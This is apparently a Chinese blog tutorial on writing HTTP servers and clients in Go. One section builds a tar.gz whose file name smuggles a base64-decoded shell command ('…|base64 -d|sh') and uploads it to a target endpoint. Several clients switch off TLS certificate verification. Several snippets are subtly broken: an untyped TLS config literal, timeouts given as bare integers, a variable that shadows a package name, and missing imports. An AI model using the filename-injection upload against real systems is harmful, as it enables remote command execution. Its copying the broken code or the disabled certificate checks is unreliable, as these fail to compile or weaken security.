• 用go实现http服务端和请求端

    一、概述

            本文旨在学习记录下如何用go实现建立一个http服务器，同时构造一个专用格式的http客户端。

    二、代码实现

    2.1 构造http服务端

    1、http服务处理流程

    基于HTTP构建的服务标准模型包括两个端，客户端(Client)和服务端(Server)。HTTP 请求从客户端发出，服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求，并向客户端返回响应。 

    • 使用http.HandleFunc实现http服务，返回hello world
    1. package main
    2.  
    3. import (
    4.    "fmt"
    5.    "net/http"
    6. )
    7.  
    8. func HelloHandler(w http.ResponseWriter, r *http.Request) {
    9.    fmt.Fprintf(w, "Hello World")
    10. }
    11.  
    12. func main () {
    13.    http.HandleFunc("/", HelloHandler)
    14.    http.ListenAndServe(":8000", nil)
    15. }
    • 使用http.Handle实现http服务
    1. package main
    2.  
    3. import (
    4.    "fmt"
    5.    "net/http"
    6. )
    7.  
    8. type HelloHandlerStruct struct {
    9.    content string
    10. }
    11.  
    12. //必须实现此方法，且名称为ServerHTTP
    13. func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    14.    fmt.Fprintf(w, handler.content)
    15. }
    16.  
    17. func main()  {
    18.    http.Handle("/", &HelloHandlerStruct{content: "Hello World"})
    19.    http.ListenAndServe(":8000", nil)
    20. }
    • 优雅的关闭http服务
    1. package main
    2.  
    3. import (
    4. 	"context"
    5. 	"fmt"
    6. 	"io/ioutil"
    7. 	"log"
    8. 	"net/http"
    9. 	"os"
    10. 	"os/signal"
    11. 	"syscall"
    12. 	"time"
    13. )
    14.  
    15. type EchoHandler struct{}
    16.  
    17. func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {
    18. 	// 设置响应头
    19. 	writer.Header().Add("X-Data", "foo")
    20.  
    21. 	// 设置相应的cookie
    22. 	http.SetCookie(writer, &http.Cookie{
    23. 		Name:   "x-cookie",
    24. 		Value:  "bar",
    25. 		MaxAge: 86400,
    26. 		Secure: true,
    27. 	})
    28. 	//设置响应状态码为200
    29. 	writer.WriteHeader(200)
    30.  
    31. 	// 设置响应体，打印网络请求信息
    32. 	fmt.Fprintln(writer, "===== Network =====")
    33. 	fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr)
    34. 	fmt.Fprintln(writer)
    35.  
    36. 	// 设置响应体，打印请求方法 url host 协议信息
    37. 	fmt.Fprintln(writer, "===== Request Line =====")
    38. 	fmt.Fprintln(writer, "Method: ", request.Method)
    39. 	fmt.Fprintln(writer, "URL: ", request.URL)
    40. 	fmt.Fprintln(writer, "Host: ", request.Host)
    41. 	//fmt.Fprintln(writer, "URI: ", request.RequestURI)
    42. 	fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto,
    43. 		request.ProtoMajor, request.ProtoMinor)
    44. 	fmt.Fprintln(writer)
    45.  
    46. 	// 设置输出请求的请求头
    47. 	fmt.Fprintln(writer, "===== Header =====")
    48. 	for k, v := range request.Header {
    49. 		fmt.Fprintf(writer, "%v: %v\n", k, v)
    50. 	}
    51. 	fmt.Fprintln(writer)
    52.  
    53. 	// 设置输出请求的body
    54. 	body, err := ioutil.ReadAll(request.Body)
    55. 	if err == nil && len(body) > 0 {
    56. 		fmt.Fprintln(writer, "===== Raw Body =====")
    57. 		fmt.Fprintln(writer, string(body))
    58. 	}
    59. }
    60.  
    61. func main() {
    62. 	// 创建系统信号接收器
    63. 	done := make(chan os.Signal)
    64. 	signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)
    65.  
    66. 	// 创建 HTTP 服务器
    67. 	server := &http.Server{
    68. 		Addr:    ":8000",
    69. 		Handler: EchoHandler{},
    70. 	}
    71.  
    72. 	// 启动 HTTP 服务器
    73. 	go func() {
    74. 		log.Println("Server starting...")
    75. 		if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
    76. 			log.Fatalf("ListenAndServe: %v", err)
    77. 		}
    78. 	}()
    79.  
    80. 	// 监听系统信号并执行关闭操作
    81. 	<-done
    82. 	log.Println("Server shutting down...")
    83.  
    84. 	// 创建一个超时上下文，确保关闭操作不会无限期等待
    85. 	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
    86. 	defer cancel()
    87.  
    88. 	if err := server.Shutdown(ctx); err != nil {
    89. 		log.Fatal("Shutdown server:", err)
    90. 	}
    91.  
    92. 	log.Println("Server gracefully stopped")
    93. }

    2.2 构建http客户端

    1、基本介绍及使用

    net/http 包提供了最简洁的 HTTP 客户端实现，无需借助第三方网络通信库（比如 libcurl）就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。

    func (c *Client) Get(url string) (r *Response, err error)
    func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error)
    func (c *Client) PostForm(url string, data url.Values) (r *Response, err error)
    func (c *Client) Head(url string) (r *Response, err error)
    func (c *Client) Do(req *Request) (resp *Response, err error)

    基本的代码实现：

    1. package main
    2.  
    3. import (
    4. 	"bytes"
    5. 	"fmt"
    6. 	"io/ioutil"
    7. 	"net/http"
    8. )
    9.  
    10. func main() {
    11. 	// 目标 URL
    12. 	baseUrl := "http://localhost"
    13.  
    14. 	// 执行 GET 请求
    15. 	doGet(baseUrl + "/gettest")
    16.  
    17. 	// 执行 POST 请求
    18. 	doPost(baseUrl + "/posttest")
    19.  
    20. 	// 执行 POST Form 请求
    21. 	doPostForm(baseUrl + "/postform")
    22. }
    23.  
    24. func doGet(url string) {
    25. 	response, err := http.Get(url)
    26. 	if err != nil {
    27. 		fmt.Println("GET request failed:", err)
    28. 		return
    29. 	}
    30. 	defer response.Body.Close()
    31.  
    32. 	body, err := ioutil.ReadAll(response.Body)
    33. 	if err != nil {
    34. 		fmt.Println("Error reading response:", err)
    35. 		return
    36. 	}
    37.  
    38. 	fmt.Println("GET Response:")
    39. 	fmt.Println(string(body))
    40. }
    41.  
    42. func doPost(url string) {
    43. 	// 准备 POST 请求的 JSON 数据
    44. 	jsonPayload := []byte(`{"key": "value"}`)
    45.  
    46. 	response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload))
    47. 	if err != nil {
    48. 		fmt.Println("POST request failed:", err)
    49. 		return
    50. 	}
    51. 	defer response.Body.Close()
    52.  
    53. 	body, err := ioutil.ReadAll(response.Body)
    54. 	if err != nil {
    55. 		fmt.Println("Error reading response:", err)
    56. 		return
    57. 	}
    58.  
    59. 	fmt.Println("POST Response:")
    60. 	fmt.Println(string(body))
    61. }
    62.  
    63. func doPostForm(url string) {
    64. 	// 准备 POST Form 数据
    65. 	data := url.Values{}
    66. 	data.Add("name", "Alice")
    67. 	data.Add("age", "30")
    68.  
    69. 	response, err := http.PostForm(url, data)
    70. 	if err != nil {
    71. 		fmt.Println("POST Form request failed:", err)
    72. 		return
    73. 	}
    74. 	defer response.Body.Close()
    75.  
    76. 	body, err := ioutil.ReadAll(response.Body)
    77. 	if err != nil {
    78. 		fmt.Println("Error reading response:", err)
    79. 		return
    80. 	}
    81.  
    82. 	fmt.Println("POST Form Response:")
    83. 	fmt.Println(string(body))
    84. }

    2、自定义请求头，以及绕过https验证

    1. package main
    2.  
    3. import (
    4.     "fmt"
    5.     "net/http"
    6.     "net/url"
    7.     "strings"
    8. )
    9.  
    10. func main() {
    11.     // 自定义请求头
    12.     headers := map[string]string{
    13.         "User-Agent": "Your Custom User-Agent",
    14.         "Host":       "example.com", // 自定义 Host
    15.     }
    16.  
    17.     // 目标 URL
    18.     targetURL := "https://example.com" // 替换为你的目标 URL
    19.  
    20.     // 创建自定义 Transport
    21.     tr := &http.Transport{
    22.         TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
    23.         TLSHandshakeTimeout:   5,                         // 超时时间（秒）
    24.         DisableKeepAlives:     true,                     // 禁用连接复用
    25.         IdleConnTimeout:       30,                       // 空闲连接超时时间（秒）
    26.         MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数
    27.         ResponseHeaderTimeout: 5,                        // 响应头超时时间（秒）
    28.     }
    29.  
    30.     // 创建自定义客户端
    31.     client := &http.Client{
    32.         Transport: tr,
    33.     }
    34.  
    35.     // 发送 GET 请求
    36.     response, err := client.Get(targetURL)
    37.     if err != nil {
    38.         fmt.Println("GET request failed:", err)
    39.         return
    40.     }
    41.     defer response.Body.Close()
    42.  
    43.     // 读取响应内容
    44.     body := make([]byte, 1024)
    45.     n, err := response.Body.Read(body)
    46.     if err != nil {
    47.         fmt.Println("Error reading response:", err)
    48.         return
    49.     }
    50.  
    51.     // 输出响应内容
    52.     fmt.Println("Response:")
    53.     fmt.Println(string(body[:n]))
    54. }

    3、实现登录后会话保持以及自定义请求头

    1. package main
    2.  
    3. import (
    4.     "fmt"
    5.     "net/http"
    6.     "net/url"
    7.     "strings"
    8. )
    9.  
    10. func main() {
    11.     // 自定义请求头
    12.     headers := map[string]string{
    13.         "User-Agent": "Your Custom User-Agent",
    14.         "Host":       "example.com", // 自定义 Host
    15.     }
    16.  
    17.     // 目标 URL
    18.     baseURL := "https://example.com" // 替换为你的目标 URL
    19.     loginURL := baseURL + "/login"   // 登录 URL
    20.     securedURL := baseURL + "/secured-resource" // 需要 Token 的 URL
    21.  
    22.     // 准备登录请求的数据
    23.     loginData := url.Values{
    24.         "user": {"admin"},
    25.         "pass": {"123456"},
    26.     }
    27.  
    28.     // 创建自定义 Transport
    29.     tr := &http.Transport{
    30.         TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
    31.         TLSHandshakeTimeout:   5,                         // 超时时间（秒）
    32.         DisableKeepAlives:     true,                     // 禁用连接复用
    33.         IdleConnTimeout:       30,                       // 空闲连接超时时间（秒）
    34.         MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数
    35.         ResponseHeaderTimeout: 5,                        // 响应头超时时间（秒）
    36.     }
    37.  
    38.     // 创建自定义客户端
    39.     client := &http.Client{
    40.         Transport: tr,
    41.     }
    42.  
    43.     // 发送登录请求
    44.     loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))
    45.     if err != nil {
    46.         fmt.Println("Error creating login request:", err)
    47.         return
    48.     }
    49.  
    50.     // 设置登录请求的头部和内容类型
    51.     loginRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    52.     for key, value := range headers {
    53.         loginRequest.Header.Set(key, value)
    54.     }
    55.  
    56.     loginResponse, err := client.Do(loginRequest)
    57.     if err != nil {
    58.         fmt.Println("Login request failed:", err)
    59.         return
    60.     }
    61.     defer loginResponse.Body.Close()
    62.  
    63.     // 获取登录后的 Token
    64.     var token string
    65.     for _, cookie := range loginResponse.Cookies() {
    66.         if cookie.Name == "token" {
    67.             token = cookie.Value
    68.             break
    69.         }
    70.     }
    71.  
    72.     if token == "" {
    73.         fmt.Println("Login failed. No token received.")
    74.         return
    75.     }
    76.  
    77.     fmt.Println("Login successful. Token:", token)
    78.  
    79.     // 在后续请求中添加 Token 到请求头
    80.     securedRequest, err := http.NewRequest("GET", securedURL, nil)
    81.     if err != nil {
    82.         fmt.Println("Error creating secured request:", err)
    83.         return
    84.     }
    85.  
    86.     securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头
    87.     for key, value := range headers {
    88.         securedRequest.Header.Set(key, value)
    89.     }
    90.  
    91.     securedResponse, err := client.Do(securedRequest)
    92.     if err != nil {
    93.         fmt.Println("Secured request failed:", err)
    94.         return
    95.     }
    96.     defer securedResponse.Body.Close()
    97.  
    98.     // 读取并输出响应内容
    99.     responseBody, err := ioutil.ReadAll(securedResponse.Body)
    100.     if err != nil {
    101.         fmt.Println("Error reading response body:", err)
    102.         return
    103.     }
    104.  
    105.     fmt.Println("Secured resource response:")
    106.     fmt.Println(string(responseBody))
    107. }

    4、构造一个带特殊字符的压缩包，并且通过接口上传

    1. package main
    2.  
    3. import (
    4.     "archive/tar"
    5.     "bytes"
    6.     "compress/gzip"
    7.     "crypto/tls"
    8.     "fmt"
    9.     "io"
    10.     "io/ioutil"
    11.     "mime/multipart"
    12.     "net/http"
    13.     "os"
    14. )
    15.  
    16. func main() {
    17.     // 压缩文件内容
    18.     tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")
    19.  
    20.     // 发送 HTTP POST 请求
    21.     url := "https://example.com/upload" // 替换为你的目标 URL
    22.     uploadTarGz(url, tarContent)
    23. }
    24.  
    25. func generateTarGzContent(filename string) []byte {
    26.     var buf bytes.Buffer
    27.     gw := gzip.NewWriter(&buf)
    28.     tw := tar.NewWriter(gw)
    29.  
    30.     // 添加文件到 tar 压缩包
    31.     fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")
    32.     header := &tar.Header{
    33.         Name: filename,
    34.         Size: int64(len(fileContent)),
    35.     }
    36.     if err := tw.WriteHeader(header); err != nil {
    37.         fmt.Println("写入 tar 头部失败:", err)
    38.         os.Exit(1)
    39.     }
    40.     if _, err := tw.Write(fileContent); err != nil {
    41.         fmt.Println("写入文件内容失败:", err)
    42.         os.Exit(1)
    43.     }
    44.  
    45.     // 关闭 tar 和 gzip 缓冲区
    46.     if err := tw.Close(); err != nil {
    47.         fmt.Println("关闭 tar 失败:", err)
    48.         os.Exit(1)
    49.     }
    50.     if err := gw.Close(); err != nil {
    51.         fmt.Println("关闭 gzip 失败:", err)
    52.         os.Exit(1)
    53.     }
    54.  
    55.     return buf.Bytes()
    56. }
    57.  
    58. func uploadTarGz(url string, tarContent []byte) {
    59.     // 创建一个 Buffer，用于构建 multipart/form-data 请求体
    60.     var requestBody bytes.Buffer
    61.     writer := multipart.NewWriter(&requestBody)
    62.  
    63.     // 写入 tar.gz 文件
    64.     part, err := writer.CreateFormFile("file", "test.tar.gz")
    65.     if err != nil {
    66.         fmt.Println("创建表单文件失败:", err)
    67.         os.Exit(1)
    68.     }
    69.     if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil {
    70.         fmt.Println("写入文件内容失败:", err)
    71.         os.Exit(1)
    72.     }
    73.  
    74.     // 关闭 multipart writer
    75.     writer.Close()
    76.  
    77.     // 创建 HTTP 请求
    78.     req, err := http.NewRequest("POST", url, &requestBody)
    79.     if err != nil {
    80.         fmt.Println("创建请求失败:", err)
    81.         os.Exit(1)
    82.     }
    83.     req.Header.Set("Content-Type", writer.FormDataContentType())
    84.  
    85.     // 创建一个自定义的 Transport，用于跳过 HTTPS 证书验证
    86.     tr := &http.Transport{
    87.         TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    88.     }
    89.  
    90.     // 使用自定义 Transport 发起请求
    91.     client := &http.Client{Transport: tr}
    92.     response, err := client.Do(req)
    93.     if err != nil {
    94.         fmt.Println("请求失败:", err)
    95.         os.Exit(1)
    96.     }
    97.     defer response.Body.Close()
    98.  
    99.     // 读取响应内容
    100.     responseBody, err := ioutil.ReadAll(response.Body)
    101.     if err != nil {
    102.         fmt.Println("读取响应内容失败:", err)
    103.         os.Exit(1)
    104.     }
    105.  
    106.     fmt.Println("响应内容:")
    107.     fmt.Println(string(responseBody))
    108. }

    5、设置http代理

    1. package main
    2.  
    3. import (
    4.     "fmt"
    5.     "net/http"
    6.     "net/url"
    7.     "os"
    8. )
    9.  
    10. func main() {
    11.     // 创建 HTTP 客户端，并设置代理
    12.     proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址
    13.     if err != nil {
    14.         fmt.Println("解析代理地址失败:", err)
    15.         os.Exit(1)
    16.     }
    17.  
    18.     client := &http.Client{
    19.         Transport: &http.Transport{
    20.             Proxy: http.ProxyURL(proxyURL),
    21.         },
    22.     }
    23.  
    24.     // 创建 HTTP 请求
    25.     url := "https://example.com" // 替换为您要请求的目标 URL
    26.     request, err := http.NewRequest("GET", url, nil)
    27.     if err != nil {
    28.         fmt.Println("创建请求失败:", err)
    29.         os.Exit(1)
    30.     }
    31.  
    32.     // 发送 HTTP 请求
    33.     response, err := client.Do(request)
    34.     if err != nil {
    35.         fmt.Println("请求失败:", err)
    36.         os.Exit(1)
    37.     }
    38.     defer response.Body.Close()
    39.  
    40.     // 读取响应内容
    41.     responseBody := make([]byte, 0)
    42.     buffer := make([]byte, 1024)
    43.     for {
    44.         n, err := response.Body.Read(buffer)
    45.         if n > 0 {
    46.             responseBody = append(responseBody, buffer[:n]...)
    47.         }
    48.         if err != nil {
    49.             break
    50.         }
    51.     }
    52.  
    53.     fmt.Println("响应内容:")
    54.     fmt.Println(string(responseBody))
    55. }

    6、综合实践 

    1. // 生成jwt token
    2. func CreateJWT(claim jwt.Claims) (string, error) {
    3. 	//读取 RSA私钥文件
    4. 	privateKeyBytes, err := ioutil.ReadFile(privateKeyPath)
    5. 	if err != nil {
    6. 		return "", err
    7. 	}
    8.  
    9. 	//解析RSA私钥
    10. 	privateKey, err := jwt.ParseRSAPrivateKeyFromPEM(privateKeyBytes)
    11. 	if err != nil {
    12. 		return "", err
    13. 	}
    14.  
    15. 	//创建jwt
    16. 	token := jwt.NewWithClaims(jwt.SigningMethodRS256, claim)
    17.  
    18. 	//使用私钥进行签名
    19. 	tokenString, err := token.SignedString(privateKey)
    20.  
    21. 	return tokenString, nil
    22. }
    23.  
    24. // 验证token有效性，主要为想做成直接用解析提供的token并从中获取想要的参数，避免传入过多参数，暂时未用上
    25. func ParseToken(tokenStr string) (interface{}, error) {
    26. 	//读取RSA公钥文件
    27. 	publicKeyBytes, err := ioutil.ReadFile(publicKeyPath)
    28. 	if err != nil {
    29. 		return "", nil
    30. 	}
    31.  
    32. 	//解析RSA 公钥
    33. 	publicKey, err := jwt.ParseRSAPublicKeyFromPEM(publicKeyBytes)
    34. 	if err != nil {
    35. 		return "", err
    36. 	}
    37.  
    38. 	//解析token
    39. 	token, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {
    40. 		if token.Method != jwt.SigningMethodRS256 {
    41. 			return nil, fmt.Errorf("加密方法有误，非rsa256，而是：%v", token.Header["alg"])
    42. 		}
    43. 		return publicKey, nil
    44. 	})
    45.  
    46. 	//检查解析是否成功
    47. 	if err != nil {
    48. 		return nil, err
    49. 	}
    50.  
    51. 	//验证token是否有效
    52. 	if !token.Valid {
    53. 		return nil, fmt.Errorf("无效token")
    54. 	} else if claims, ok := token.Claims.(jwt.MapClaims); ok {
    55. 		//通过key获取具体的Claims值
    56. 		fmt.Println("touken有效，正在提取其中的Claims。。。。")
    57. 		return claims, nil
    58. 	} else {
    59. 		return nil, fmt.Errorf("token有效，但是无法提取Claims")
    60. 	}
    61.  
    62. }
    63.  
    64.  
    65. func GetCookie(token, url string) (string, error) {
    66. 	//自定义请求头
    67. 	headers := map[string]string{
    68. 		"token":           token, //利用生成的token
    69. 		"User-Agent":      "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36",
    70. 		"Accept":          " application/json, text/plain, */*",
    71. 		"Accept-Encoding": "gzip, deflate",
    72. 		"Content-Type":    "application/json",
    73. 		"Accept-Language": "zh-CN,zh;q=0.9",
    74. 	}
    75.  
    76. 	//fmt.Println("\nurl 为", baseurl)
    77.  
    78. 	//创建代理
    79. 	/* 	proxyURL, err := url.Parse("http://127.0.0.1:8080") //设置代理地址
    81. 	   	if err != nil {
    82. 	   		fmt.Println("解析代理地址失败", err)
    83. 	   		os.Exit(1)
    84. 	   	} */
    85. 	// 创建自定义 Transport
    86. 	tr := &http.Transport{
    87. 		TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
    88. 		//TLSHandshakeTimeout: 10,                                    // 超时时间（秒）
    89. 		DisableKeepAlives:   true, // 禁用连接复用
    90. 		IdleConnTimeout:     30,   // 空闲连接超时时间（秒）
    91. 		MaxIdleConnsPerHost: 20,   // 每个主机的最大空闲连接数
    92. 		//ResponseHeaderTimeout: 10, // 响应头超时时间（秒）
    93. 		//Proxy: http.ProxyURL(proxyURL), //设置代理服务器
    94. 	}
    95.  
    96. 	//创建自定义客户端
    97. 	client := &http.Client{
    98. 		Transport: tr,
    99. 		Timeout:   time.Second * 10, //设置请求的超时时间
    100. 	}
    101.  
    102. 	//创建JSON请求体
    103. 	requestBody := map[string]interface{}{
    104. 		"username":            "123456",
    105. 		"password": "1",
    106. 	}
    107.  
    108. 	//将请求体编码为 JSON格式
    109. 	jsonData, err := json.Marshal(requestBody)
    110. 	if err != nil {
    111. 		fmt.Println("JSON 编码错误", err)
    112. 		return "", err
    113. 	}
    114.  
    115. 	//创建post请求
    116. 	request, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))
    117. 	if err != nil {
    118. 		fmt.Println("创建请求错误", err)
    119. 		return "", err
    120. 	}
    121.  
    122. 	//设置请求头
    123. 	for key, value := range headers {
    124. 		request.Header.Set(key, value)
    125. 	}
    126.  
    127. 	//发送POST请求
    128. 	response, err := client.Do(request)
    129. 	if err != nil {
    130. 		fmt.Println("\n请求错误:", err)
    131. 		return "", err
    132. 	}
    133. 	defer response.Body.Close()
    134.  
    135. 	/* 	// 读取响应内容
    136. 	   	var responseStr string
    137. 	   	buf := new(bytes.Buffer)
    138. 	   	_, err = buf.ReadFrom(response.Body)
    139. 	   	if err != nil {
    140. 	   		return "", err
    141. 	   	}
    142. 	   	responseStr = buf.String()
    144. 	   	// 检查响应状态码
    145. 	   	if response.StatusCode != http.StatusOK {
    146. 	   		return "", fmt.Errorf("响应状态码为 %d", response.StatusCode)
    147. 	   	}
    149. 	   	return responseStr, nil */
    150.  
    151. 	//处理响应:仅针对返回body为json格式数据
    152. 	var responseBody map[string]interface{}
    153. 	decoder := json.NewDecoder(response.Body)
    154. 	if err := decoder.Decode(&responseBody); err != nil {
    155. 		fmt.Println("响应解析错误", err)
    156. 		return "", err
    157. 	}
    158. 	//输出响应
    159. 	fmt.Println("响应状态码：", response.Status)
    160. 	fmt.Println("响应数据ret：", responseBody["ret"])
    161. 	var retflag float64
    162. 	retflag = 1
    163. 	if responseBody["ret"].(float64) == retflag {
    164. 		setCookieHeaders := response.Header["Set-Cookie"]
    165. 		return setCookieHeaders[0], nil
    166. 	} else {
    167. 		return "", fmt.Errorf("错误信息：%s", responseBody["error"])
    168. 	}

  • 相关阅读:
    qt exec 跟show的区别
    无代码开发部门入门教程
    嵌入式工程师面试题
    SpringMVC11-拦截器
    什么是空运特殊货物_箱讯科技国际物流管理平台
    网页开发从无到有——html前端学习（一）
    IoT知识点补充
    C#远程调试
    1400*C. Soldier and Cards（贪心&模拟）
    正则表达式
  • 原文地址：https://blog.csdn.net/youuzi/article/details/133268423